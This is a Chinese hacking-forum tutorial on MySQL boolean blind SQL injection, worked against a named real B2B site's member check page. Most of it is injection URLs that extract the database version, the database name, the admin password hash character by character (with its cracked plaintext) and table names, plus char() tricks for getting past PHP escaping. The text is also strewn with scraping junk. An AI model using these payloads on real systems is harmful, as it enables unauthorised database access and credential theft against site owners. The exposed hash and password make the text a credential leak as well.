|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
; W. ], V" j- p$ M/ ~' ?7 X9 E阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
% b+ |5 _1 x# G5 X* c! p作者:YoCo Smart
) _& j. C) y# h$ Z9 X来自:习科信息技术 - http://BlackBap.Org
& X# e p1 i, U+ i4 o我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 15 }! M3 j: Y8 b$ M0 C8 j
9 l& K! }& k6 o2 k. ~# [8 O复制代码1 R n; ~4 Q9 ]5 j# P/ @
错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
" x% b' U% f# Q7 o& z* D. ?0 E
/ G* P" K. b/ o; g复制代码& a3 `: R6 k3 m r$ I5 d1 \9 A
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合1 n! Q* r. g2 g3 l7 H% h5 |! U
那么我们先从union的盲注来看吧。" b' A3 R) V$ o/ I4 N% v" V# y9 t
先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23$ P1 v7 ?' _5 v: b" |
) P3 V- N o9 K+ H复制代码
# x$ ]% T+ P) V+ H这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'! G2 r# X" Y1 i" S
! I& V% j* L9 C Y' p! D e复制代码! ~: K4 P. R% c' n S$ ?
因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
. P& ]* d3 _* @$ T& j5 N( L再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
+ |- E" t+ v+ H + K# ^8 @! W$ I) Y% M
复制代码
6 z! o0 E; Z: U/ V9 E4 k* Rlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。0 K; C) |. h6 R8 U5 o3 |
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
% Y7 J$ {3 C1 f+ V! c再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
2 ^- m4 C/ b5 l0 t: f* X: N
K- n0 d9 I# b6 P复制代码- q) \. \0 m3 l6 d/ e+ ^, d# m
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
4 y5 ~/ q: i- l2 h, C% y( ?这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句1 C6 g8 h# Z$ | B0 i* X
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly
M( M# s; Q) Z7 h" z1 ~+ d, X " m$ V7 P$ o4 T" k
复制代码
6 w9 ?, {& s; b8 W! C这样,猜数据的方法你肯定是懂了
% O: k: e. B5 E
, S/ B8 r: O8 \; p G% v. G- n! B& b0 K
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%233 C( T3 i% s0 e5 t( {5 K- R" N7 }
& Z0 p! v* O! \3 o+ g2 F5 c; I
复制代码3 H2 C* Q: Z( T9 _
实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'$ W# ~% \% q: A0 q5 }
' p8 D: d' ]# G" K9 o z复制代码& U# {3 C$ Y9 e0 F4 a
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
6 P' o$ H7 r$ ~# s. F关于limit x,y 的用法,可以参考MySQL手册
: D# S( o8 {5 e. m% D6 T4 d, |9 ~4 t+ E$ X) d
最后剩下的要说的就是ascii函数和hex函数了
, Z a& L% w# w1 l1 [8 }' e这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#; [% \$ V. D" j1 E4 Z0 k7 @
. y) K6 z3 q4 ^- I& c ]1 ]! W4 ]
复制代码# V# @4 d+ V) x, v; q
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|